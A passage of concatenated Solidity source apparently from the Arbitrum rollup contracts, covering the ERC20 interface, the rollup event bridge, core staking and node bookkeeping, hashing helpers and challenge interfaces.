// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Rollup.sol";
import "./facets/IRollupFacets.sol";
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/IMessageProvider.sol";
import "./INode.sol";
import "../libraries/Cloneable.sol";
contract RollupEventBridge is IMessageProvider, Cloneable {
uint8 internal constant INITIALIZATION_MSG_TYPE = 11;
uint8 internal constant ROLLUP_PROTOCOL_EVENT_TYPE = 8;
uint8 internal constant CREATE_NODE_EVENT = 0;
uint8 internal constant CONFIRM_NODE_EVENT = 1;
uint8 internal constant REJECT_NODE_EVENT = 2;
uint8 internal constant STAKE_CREATED_EVENT = 3;
IBridge bridge;
address rollup;
modifier onlyRollup() {
require(msg.sender == rollup, "ONLY_ROLLUP");
_;
}
function initialize(address _bridge, address _rollup) external {
require(rollup == address(0), "ALREADY_INIT");
bridge = IBridge(_bridge);
rollup = _rollup;
}
function rollupInitialized(
uint256 confirmPeriodBlocks,
uint256 avmGasSpeedLimitPerBlock,
address owner,
bytes calldata extraConfig
) external onlyRollup {
bytes memory initMsg = abi.encodePacked(
keccak256("ChallengePeriodEthBlocks"),
confirmPeriodBlocks,
keccak256("SpeedLimitPerSecond"),
avmGasSpeedLimitPerBlock / 100, // convert avm gas to arbgas
keccak256("ChainOwner"),
uint256(uint160(bytes20(owner))),
extraConfig
);
uint256 num = bridge.deliverMessageToInbox(
INITIALIZATION_MSG_TYPE,
address(0),
keccak256(initMsg)
);
emit InboxMessageDelivered(num, initMsg);
}
function nodeCreated(
uint256 nodeNum,
uint256 prev,
uint256 deadline,
address asserter
) external onlyRollup {
deliverToBridge(
abi.encodePacked(
CREATE_NODE_EVENT,
nodeNum,
prev,
block.number,
deadline,
uint256(uint160(bytes20(asserter)))
)
);
}
function nodeConfirmed(uint256 nodeNum) external onlyRollup {
deliverToBridge(abi.encodePacked(CONFIRM_NODE_EVENT, nodeNum));
}
function nodeRejected(uint256 nodeNum) external onlyRollup {
deliverToBridge(abi.encodePacked(REJECT_NODE_EVENT, nodeNum));
}
function stakeCreated(address staker, uint256 nodeNum) external onlyRollup {
deliverToBridge(
abi.encodePacked(
STAKE_CREATED_EVENT,
uint256(uint160(bytes20(staker))),
nodeNum,
block.number
)
);
}
function deliverToBridge(bytes memory message) private {
emit InboxMessageDelivered(
bridge.deliverMessageToInbox(
ROLLUP_PROTOCOL_EVENT_TYPE,
msg.sender,
keccak256(message)
),
message
);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./INode.sol";
import "./IRollupCore.sol";
import "./RollupLib.sol";
import "./INodeFactory.sol";
import "./RollupEventBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract RollupCore is IRollupCore {
using SafeMath for uint256;
// Stakers become Zombies after losing a challenge
struct Zombie {
address stakerAddress;
uint256 latestStakedNode;
}
struct Staker {
uint256 index;
uint256 latestStakedNode;
uint256 amountStaked;
// currentChallenge is 0 if staker is not in a challenge
address currentChallenge;
bool isStaked;
}
uint256 private _latestConfirmed;
uint256 private _firstUnresolvedNode;
uint256 private _latestNodeCreated;
uint256 private _lastStakeBlock;
mapping(uint256 => INode) private _nodes;
mapping(uint256 => bytes32) private _nodeHashes;
address payable[] private _stakerList;
mapping(address => Staker) public override _stakerMap;
Zombie[] private _zombies;
mapping(address => uint256) private _withdrawableFunds;
/**
* @notice Get the address of the Node contract for the given node
* @param nodeNum Index of the node
* @return Address of the Node contract
*/
function getNode(uint256 nodeNum) public view override returns (INode) {
return _nodes[nodeNum];
}
/**
* @notice Get the address of the staker at the given index
* @param stakerNum Index of the staker
* @return Address of the staker
*/
function getStakerAddress(uint256 stakerNum) external view override returns (address) {
return _stakerList[stakerNum];
}
/**
* @notice Check whether the given staker is staked
* @param staker Staker address to check
* @return True or False for whether the staker was staked
*/
function isStaked(address staker) public view override returns (bool) {
return _stakerMap[staker].isStaked;
}
/**
* @notice Get the latest staked node of the given staker
* @param staker Staker address to lookup
* @return Latest node staked of the staker
*/
function latestStakedNode(address staker) public view override returns (uint256) {
return _stakerMap[staker].latestStakedNode;
}
/**
* @notice Get the current challenge of the given staker
* @param staker Staker address to lookup
* @return Current challenge of the staker
*/
function currentChallenge(address staker) public view override returns (address) {
return _stakerMap[staker].currentChallenge;
}
/**
* @notice Get the amount staked of the given staker
* @param staker Staker address to lookup
* @return Amount staked of the staker
*/
function amountStaked(address staker) public view override returns (uint256) {
return _stakerMap[staker].amountStaked;
}
/**
* @notice Get the original staker address of the zombie at the given index
* @param zombieNum Index of the zombie to lookup
* @return Original staker address of the zombie
*/
function zombieAddress(uint256 zombieNum) public view override returns (address) {
return _zombies[zombieNum].stakerAddress;
}
/**
* @notice Get Latest node that the given zombie at the given index is staked on
* @param zombieNum Index of the zombie to lookup
* @return Latest node that the given zombie is staked on
*/
function zombieLatestStakedNode(uint256 zombieNum) public view override returns (uint256) {
return _zombies[zombieNum].latestStakedNode;
}
/// @return Current number of un-removed zombies
function zombieCount() public view override returns (uint256) {
return _zombies.length;
}
function isZombie(address staker) public view override returns (bool) {
for (uint256 i = 0; i < _zombies.length; i++) {
if (staker == _zombies[i].stakerAddress) {
return true;
}
}
return false;
}
/**
* @notice Get the amount of funds withdrawable by the given address
* @param owner Address to check the funds of
* @return Amount of funds withdrawable by owner
*/
function withdrawableFunds(address owner) external view override returns (uint256) {
return _withdrawableFunds[owner];
}
/**
* @return Index of the first unresolved node
* @dev If all nodes have been resolved, this will be latestNodeCreated + 1
*/
function firstUnresolvedNode() public view override returns (uint256) {
return _firstUnresolvedNode;
}
/// @return Index of the latest confirmed node
function latestConfirmed() public view override returns (uint256) {
return _latestConfirmed;
}
/// @return Index of the latest rollup node created
function latestNodeCreated() public view override returns (uint256) {
return _latestNodeCreated;
}
/// @return Ethereum block that the most recent stake was created
function lastStakeBlock() external view override returns (uint256) {
return _lastStakeBlock;
}
/// @return Number of active stakers currently staked
function stakerCount() public view override returns (uint256) {
return _stakerList.length;
}
/**
* @notice Initialize the core with an initial node
* @param initialNode Initial node to start the chain with
*/
function initializeCore(INode initialNode) internal {
_nodes[0] = initialNode;
_firstUnresolvedNode = 1;
}
/**
* @notice React to a new node being created by storing it an incrementing the latest node counter
* @param node Node that was newly created
* @param nodeHash The hash of said node
*/
function nodeCreated(INode node, bytes32 nodeHash) internal {
_latestNodeCreated++;
_nodes[_latestNodeCreated] = node;
_nodeHashes[_latestNodeCreated] = nodeHash;
}
/// @return Node hash as of this node number
function getNodeHash(uint256 index) public view override returns (bytes32) {
return _nodeHashes[index];
}
/// @notice Reject the next unresolved node
function _rejectNextNode() internal {
destroyNode(_firstUnresolvedNode);
_firstUnresolvedNode++;
}
/// @notice Confirm the next unresolved node
function confirmNextNode(
bytes32 beforeSendAcc,
bytes calldata sendsData,
uint256[] calldata sendLengths,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount,
IOutbox outbox,
RollupEventBridge rollupEventBridge
) internal {
confirmNode(
_firstUnresolvedNode,
beforeSendAcc,
sendsData,
sendLengths,
afterSendCount,
afterLogAcc,
afterLogCount,
outbox,
rollupEventBridge
);
}
function confirmNode(
uint256 nodeNum,
bytes32 beforeSendAcc,
bytes calldata sendsData,
uint256[] calldata sendLengths,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount,
IOutbox outbox,
RollupEventBridge rollupEventBridge
) internal {
bytes32 afterSendAcc = RollupLib.feedAccumulator(sendsData, sendLengths, beforeSendAcc);
INode node = getNode(nodeNum);
// Authenticate data against node's confirm data pre-image
require(
node.confirmData() ==
RollupLib.confirmHash(
beforeSendAcc,
afterSendAcc,
afterLogAcc,
afterSendCount,
afterLogCount
),
"CONFIRM_DATA"
);
// trusted external call to outbox
outbox.processOutgoingMessages(sendsData, sendLengths);
destroyNode(_latestConfirmed);
_latestConfirmed = nodeNum;
_firstUnresolvedNode = nodeNum + 1;
rollupEventBridge.nodeConfirmed(nodeNum);
emit NodeConfirmed(nodeNum, afterSendAcc, afterSendCount, afterLogAcc, afterLogCount);
}
/**
* @notice Create a new stake at latest confirmed node
* @param stakerAddress Address of the new staker
* @param depositAmount Stake amount of the new staker
*/
function createNewStake(address payable stakerAddress, uint256 depositAmount) internal {
uint256 stakerIndex = _stakerList.length;
_stakerList.push(stakerAddress);
_stakerMap[stakerAddress] = Staker(
stakerIndex,
_latestConfirmed,
depositAmount,
address(0), // new staker is not in challenge
true
);
_lastStakeBlock = block.number;
emit UserStakeUpdated(stakerAddress, 0, depositAmount);
}
/**
* @notice Check to see whether the two stakers are in the same challenge
* @param stakerAddress1 Address of the first staker
* @param stakerAddress2 Address of the second staker
* @return Address of the challenge that the two stakers are in
*/
function inChallenge(address stakerAddress1, address stakerAddress2)
internal
view
returns (address)
{
Staker storage staker1 = _stakerMap[stakerAddress1];
Staker storage staker2 = _stakerMap[stakerAddress2];
address challenge = staker1.currentChallenge;
require(challenge != address(0), "NO_CHAL");
require(challenge == staker2.currentChallenge, "DIFF_IN_CHAL");
return challenge;
}
/**
* @notice Make the given staker as not being in a challenge
* @param stakerAddress Address of the staker to remove from a challenge
*/
function clearChallenge(address stakerAddress) internal {
Staker storage staker = _stakerMap[stakerAddress];
staker.currentChallenge = address(0);
}
/**
* @notice Mark both the given stakers as engaged in the challenge
* @param staker1 Address of the first staker
* @param staker2 Address of the second staker
* @param challenge Address of the challenge both stakers are now in
*/
function challengeStarted(
address staker1,
address staker2,
address challenge
) internal {
_stakerMap[staker1].currentChallenge = challenge;
_stakerMap[staker2].currentChallenge = challenge;
}
/**
* @notice Add to the stake of the given staker by the given amount
* @param stakerAddress Address of the staker to increase the stake of
* @param amountAdded Amount of stake to add to the staker
*/
function increaseStakeBy(address stakerAddress, uint256 amountAdded) internal {
Staker storage staker = _stakerMap[stakerAddress];
uint256 initialStaked = staker.amountStaked;
uint256 finalStaked = initialStaked.add(amountAdded);
staker.amountStaked = finalStaked;
emit UserStakeUpdated(stakerAddress, initialStaked, finalStaked);
}
/**
* @notice Reduce the stake of the given staker to the given target
* @param stakerAddress Address of the staker to reduce the stake of
* @param target Amount of stake to leave with the staker
* @return Amount of value released from the stake
*/
function reduceStakeTo(address stakerAddress, uint256 target) internal returns (uint256) {
Staker storage staker = _stakerMap[stakerAddress];
uint256 current = staker.amountStaked;
require(target <= current, "TOO_LITTLE_STAKE");
uint256 amountWithdrawn = current.sub(target);
staker.amountStaked = target;
increaseWithdrawableFunds(stakerAddress, amountWithdrawn);
emit UserStakeUpdated(stakerAddress, current, target);
return amountWithdrawn;
}
/**
* @notice Remove the given staker and turn them into a zombie
* @param stakerAddress Address of the staker to remove
*/
function turnIntoZombie(address stakerAddress) internal {
Staker storage staker = _stakerMap[stakerAddress];
_zombies.push(Zombie(stakerAddress, staker.latestStakedNode));
deleteStaker(stakerAddress);
}
/**
* @notice Update the latest staked node of the zombie at the given index
* @param zombieNum Index of the zombie to move
* @param latest New latest node the zombie is staked on
*/
function zombieUpdateLatestStakedNode(uint256 zombieNum, uint256 latest) internal {
_zombies[zombieNum].latestStakedNode = latest;
}
/**
* @notice Remove the zombie at the given index
* @param zombieNum Index of the zombie to remove
*/
function removeZombie(uint256 zombieNum) internal {
_zombies[zombieNum] = _zombies[_zombies.length - 1];
_zombies.pop();
}
/**
* @notice Remove the given staker and return their stake
* @param stakerAddress Address of the staker withdrawing their stake
*/
function withdrawStaker(address stakerAddress) internal {
Staker storage staker = _stakerMap[stakerAddress];
uint256 initialStaked = staker.amountStaked;
increaseWithdrawableFunds(stakerAddress, initialStaked);
deleteStaker(stakerAddress);
emit UserStakeUpdated(stakerAddress, initialStaked, 0);
}
/**
* @notice Advance the given staker to the given node
* @param stakerAddress Address of the staker adding their stake
* @param nodeNum Index of the node to stake on
*/
function stakeOnNode(
address stakerAddress,
uint256 nodeNum,
uint256 confirmPeriodBlocks
) internal {
Staker storage staker = _stakerMap[stakerAddress];
INode node = _nodes[nodeNum];
uint256 newStakerCount = node.addStaker(stakerAddress);
staker.latestStakedNode = nodeNum;
if (newStakerCount == 1) {
INode parent = _nodes[node.prev()];
parent.newChildConfirmDeadline(block.number.add(confirmPeriodBlocks));
}
}
/**
* @notice Clear the withdrawable funds for the given address
* @param owner Address of the account to remove funds from
* @return Amount of funds removed from account
*/
function withdrawFunds(address owner) internal returns (uint256) {
uint256 amount = _withdrawableFunds[owner];
_withdrawableFunds[owner] = 0;
emit UserWithdrawableFundsUpdated(owner, amount, 0);
return amount;
}
/**
* @notice Increase the withdrawable funds for the given address
* @param owner Address of the account to add withdrawable funds to
*/
function increaseWithdrawableFunds(address owner, uint256 amount) internal {
uint256 initialWithdrawable = _withdrawableFunds[owner];
uint256 finalWithdrawable = initialWithdrawable.add(amount);
_withdrawableFunds[owner] = finalWithdrawable;
emit UserWithdrawableFundsUpdated(owner, initialWithdrawable, finalWithdrawable);
}
/**
* @notice Remove the given staker
* @param stakerAddress Address of the staker to remove
*/
function deleteStaker(address stakerAddress) private {
Staker storage staker = _stakerMap[stakerAddress];
uint256 stakerIndex = staker.index;
_stakerList[stakerIndex] = _stakerList[_stakerList.length - 1];
_stakerMap[_stakerList[stakerIndex]].index = stakerIndex;
_stakerList.pop();
delete _stakerMap[stakerAddress];
}
/**
* @notice Destroy the given node and clear out its address
* @param nodeNum Index of the node to remove
*/
function destroyNode(uint256 nodeNum) internal {
_nodes[nodeNum].destroy();
_nodes[nodeNum] = INode(0);
}
function nodeDeadline(
uint256 avmGasSpeedLimitPerBlock,
uint256 gasUsed,
uint256 confirmPeriodBlocks,
INode prevNode
) internal view returns (uint256 deadlineBlock) {
// Set deadline rounding up to the nearest block
uint256 checkTime =
gasUsed.add(avmGasSpeedLimitPerBlock.sub(1)).div(avmGasSpeedLimitPerBlock);
deadlineBlock = max(block.number.add(confirmPeriodBlocks), prevNode.deadlineBlock()).add(
checkTime
);
uint256 olderSibling = prevNode.latestChildNumber();
if (olderSibling != 0) {
deadlineBlock = max(deadlineBlock, getNode(olderSibling).deadlineBlock());
}
return deadlineBlock;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
struct StakeOnNewNodeFrame {
uint256 currentInboxSize;
INode node;
bytes32 executionHash;
INode prevNode;
bytes32 lastHash;
bool hasSibling;
uint256 deadlineBlock;
uint256 gasUsed;
uint256 sequencerBatchEnd;
bytes32 sequencerBatchAcc;
}
struct CreateNodeDataFrame {
uint256 prevNode;
uint256 confirmPeriodBlocks;
uint256 avmGasSpeedLimitPerBlock;
ISequencerInbox sequencerInbox;
RollupEventBridge rollupEventBridge;
INodeFactory nodeFactory;
}
uint8 internal constant MAX_SEND_COUNT = 100;
function createNewNode(
RollupLib.Assertion memory assertion,
bytes32[3][2] calldata assertionBytes32Fields,
uint256[4][2] calldata assertionIntFields,
bytes calldata sequencerBatchProof,
CreateNodeDataFrame memory inputDataFrame,
bytes32 expectedNodeHash
) internal returns (bytes32 newNodeHash) {
StakeOnNewNodeFrame memory memoryFrame;
{
// validate data
memoryFrame.gasUsed = RollupLib.assertionGasUsed(assertion);
memoryFrame.prevNode = getNode(inputDataFrame.prevNode);
memoryFrame.currentInboxSize = inputDataFrame.sequencerInbox.messageCount();
// Make sure the previous state is correct against the node being built on
require(
RollupLib.stateHash(assertion.beforeState) == memoryFrame.prevNode.stateHash(),
"PREV_STATE_HASH"
);
// Ensure that the assertion doesn't read past the end of the current inbox
require(
assertion.afterState.inboxCount <= memoryFrame.currentInboxSize,
"INBOX_PAST_END"
);
// Insure inbox tip after assertion is included in a sequencer-inbox batch and return inbox acc; this gives replay protection against the state of the inbox
(memoryFrame.sequencerBatchEnd, memoryFrame.sequencerBatchAcc) = inputDataFrame
.sequencerInbox
.proveInboxContainsMessage(sequencerBatchProof, assertion.afterState.inboxCount);
}
{
memoryFrame.executionHash = RollupLib.executionHash(assertion);
memoryFrame.deadlineBlock = nodeDeadline(
inputDataFrame.avmGasSpeedLimitPerBlock,
memoryFrame.gasUsed,
inputDataFrame.confirmPeriodBlocks,
memoryFrame.prevNode
);
memoryFrame.hasSibling = memoryFrame.prevNode.latestChildNumber() > 0;
// here we don't use ternacy operator to remain compatible with slither
if (memoryFrame.hasSibling) {
memoryFrame.lastHash = getNodeHash(memoryFrame.prevNode.latestChildNumber());
} else {
memoryFrame.lastHash = getNodeHash(inputDataFrame.prevNode);
}
memoryFrame.node = INode(
inputDataFrame.nodeFactory.createNode(
RollupLib.stateHash(assertion.afterState),
RollupLib.challengeRoot(assertion, memoryFrame.executionHash, block.number),
RollupLib.confirmHash(assertion),
inputDataFrame.prevNode,
memoryFrame.deadlineBlock
)
);
}
{
uint256 nodeNum = latestNodeCreated() + 1;
memoryFrame.prevNode.childCreated(nodeNum);
newNodeHash = RollupLib.nodeHash(
memoryFrame.hasSibling,
memoryFrame.lastHash,
memoryFrame.executionHash,
memoryFrame.sequencerBatchAcc
);
require(newNodeHash == expectedNodeHash, "UNEXPECTED_NODE_HASH");
nodeCreated(memoryFrame.node, newNodeHash);
inputDataFrame.rollupEventBridge.nodeCreated(
nodeNum,
inputDataFrame.prevNode,
memoryFrame.deadlineBlock,
msg.sender
);
}
emit NodeCreated(
latestNodeCreated(),
getNodeHash(inputDataFrame.prevNode),
newNodeHash,
memoryFrame.executionHash,
memoryFrame.currentInboxSize,
memoryFrame.sequencerBatchEnd,
memoryFrame.sequencerBatchAcc,
assertionBytes32Fields,
assertionIntFields
);
return newNodeHash;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../challenge/ChallengeLib.sol";
import "./INode.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library RollupLib {
using SafeMath for uint256;
struct Config {
bytes32 machineHash;
uint256 confirmPeriodBlocks;
uint256 extraChallengeTimeBlocks;
uint256 avmGasSpeedLimitPerBlock;
uint256 baseStake;
address stakeToken;
address owner;
address sequencer;
uint256 sequencerDelayBlocks;
uint256 sequencerDelaySeconds;
bytes extraConfig;
}
struct ExecutionState {
uint256 gasUsed;
bytes32 machineHash;
uint256 inboxCount;
uint256 sendCount;
uint256 logCount;
bytes32 sendAcc;
bytes32 logAcc;
uint256 proposedBlock;
uint256 inboxMaxCount;
}
function stateHash(ExecutionState memory execState) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
execState.gasUsed,
execState.machineHash,
execState.inboxCount,
execState.sendCount,
execState.logCount,
execState.sendAcc,
execState.logAcc,
execState.proposedBlock,
execState.inboxMaxCount
)
);
}
struct Assertion {
ExecutionState beforeState;
ExecutionState afterState;
}
function decodeExecutionState(
bytes32[3] memory bytes32Fields,
uint256[4] memory intFields,
uint256 proposedBlock,
uint256 inboxMaxCount
) internal pure returns (ExecutionState memory) {
return
ExecutionState(
intFields[0],
bytes32Fields[0],
intFields[1],
intFields[2],
intFields[3],
bytes32Fields[1],
bytes32Fields[2],
proposedBlock,
inboxMaxCount
);
}
function decodeAssertion(
bytes32[3][2] memory bytes32Fields,
uint256[4][2] memory intFields,
uint256 beforeProposedBlock,
uint256 beforeInboxMaxCount,
uint256 inboxMaxCount
) internal view returns (Assertion memory) {
return
Assertion(
decodeExecutionState(
bytes32Fields[0],
intFields[0],
beforeProposedBlock,
beforeInboxMaxCount
),
decodeExecutionState(bytes32Fields[1], intFields[1], block.number, inboxMaxCount)
);
}
function executionStateChallengeHash(ExecutionState memory state)
internal
pure
returns (bytes32)
{
return
ChallengeLib.assertionHash(
state.gasUsed,
ChallengeLib.assertionRestHash(
state.inboxCount,
state.machineHash,
state.sendAcc,
state.sendCount,
state.logAcc,
state.logCount
)
);
}
function executionHash(Assertion memory assertion) internal pure returns (bytes32) {
return
ChallengeLib.bisectionChunkHash(
assertion.beforeState.gasUsed,
assertion.afterState.gasUsed - assertion.beforeState.gasUsed,
RollupLib.executionStateChallengeHash(assertion.beforeState),
RollupLib.executionStateChallengeHash(assertion.afterState)
);
}
function assertionGasUsed(RollupLib.Assertion memory assertion)
internal
pure
returns (uint256)
{
return assertion.afterState.gasUsed.sub(assertion.beforeState.gasUsed);
}
function challengeRoot(
Assertion memory assertion,
bytes32 assertionExecHash,
uint256 blockProposed
) internal pure returns (bytes32) {
return challengeRootHash(assertionExecHash, blockProposed, assertion.afterState.inboxCount);
}
function challengeRootHash(
bytes32 execution,
uint256 proposedTime,
uint256 maxMessageCount
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(execution, proposedTime, maxMessageCount));
}
function confirmHash(Assertion memory assertion) internal pure returns (bytes32) {
return
confirmHash(
assertion.beforeState.sendAcc,
assertion.afterState.sendAcc,
assertion.afterState.logAcc,
assertion.afterState.sendCount,
assertion.afterState.logCount
);
}
function confirmHash(
bytes32 beforeSendAcc,
bytes32 afterSendAcc,
bytes32 afterLogAcc,
uint256 afterSendCount,
uint256 afterLogCount
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
beforeSendAcc,
afterSendAcc,
afterSendCount,
afterLogAcc,
afterLogCount
)
);
}
function feedAccumulator(
bytes memory messageData,
uint256[] memory messageLengths,
bytes32 beforeAcc
) internal pure returns (bytes32) {
uint256 offset = 0;
uint256 messageCount = messageLengths.length;
uint256 dataLength = messageData.length;
bytes32 messageAcc = beforeAcc;
for (uint256 i = 0; i < messageCount; i++) {
uint256 messageLength = messageLengths[i];
require(offset + messageLength <= dataLength, "DATA_OVERRUN");
bytes32 messageHash;
assembly {
messageHash := keccak256(add(messageData, add(offset, 32)), messageLength)
}
messageAcc = keccak256(abi.encodePacked(messageAcc, messageHash));
offset += messageLength;
}
require(offset == dataLength, "DATA_LENGTH");
return messageAcc;
}
function nodeHash(
bool hasSibling,
bytes32 lastHash,
bytes32 assertionExecHash,
bytes32 inboxAcc
) internal pure returns (bytes32) {
uint8 hasSiblingInt = hasSibling ? 1 : 0;
return keccak256(abi.encodePacked(hasSiblingInt, lastHash, assertionExecHash, inboxAcc));
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface INode {
function initialize(
address _rollup,
bytes32 _stateHash,
bytes32 _challengeHash,
bytes32 _confirmData,
uint256 _prev,
uint256 _deadlineBlock
) external;
function destroy() external;
function addStaker(address staker) external returns (uint256);
function removeStaker(address staker) external;
function childCreated(uint256) external;
function newChildConfirmDeadline(uint256 deadline) external;
function stateHash() external view returns (bytes32);
function challengeHash() external view returns (bytes32);
function confirmData() external view returns (bytes32);
function prev() external view returns (uint256);
function deadlineBlock() external view returns (uint256);
function noChildConfirmedBeforeBlock() external view returns (uint256);
function stakerCount() external view returns (uint256);
function stakers(address staker) external view returns (bool);
function firstChildBlock() external view returns (uint256);
function latestChildNumber() external view returns (uint256);
function requirePastDeadline() external view;
function requirePastChildConfirmDeadline() external view;
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface INodeFactory {
function createNode(
bytes32 _stateHash,
bytes32 _challengeHash,
bytes32 _confirmData,
uint256 _prev,
uint256 _deadlineBlock
) external returns (address);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
import "../arch/IOneStepProof.sol";
interface IChallenge {
function initializeChallenge(
IOneStepProof[] calldata _executors,
address _resultReceiver,
bytes32 _executionHash,
uint256 _maxMessageCount,
address _asserter,
address _challenger,
uint256 _asserterTimeLeft,
uint256 _challengerTimeLeft,
ISequencerInbox _sequencerBridge,
IBridge _delayedBridge
) external;
function currentResponderTimeLeft() external view returns (uint256);
function lastMoveBlock() external view returns (uint256);
function timeout() external;
function asserter() external view returns (address);
function challenger() external view returns (address);
function clearChallenge() external;
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
interface IChallengeFactory {
function createChallenge(
address _resultReceiver,
bytes32 _executionHash,
uint256 _maxMessageCount,
address _asserter,
address _challenger,
uint256 _asserterTimeLeft,
uint256 _challengerTimeLeft,
ISequencerInbox _sequencerBridge,
IBridge _delayedBridge
) external returns (address);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
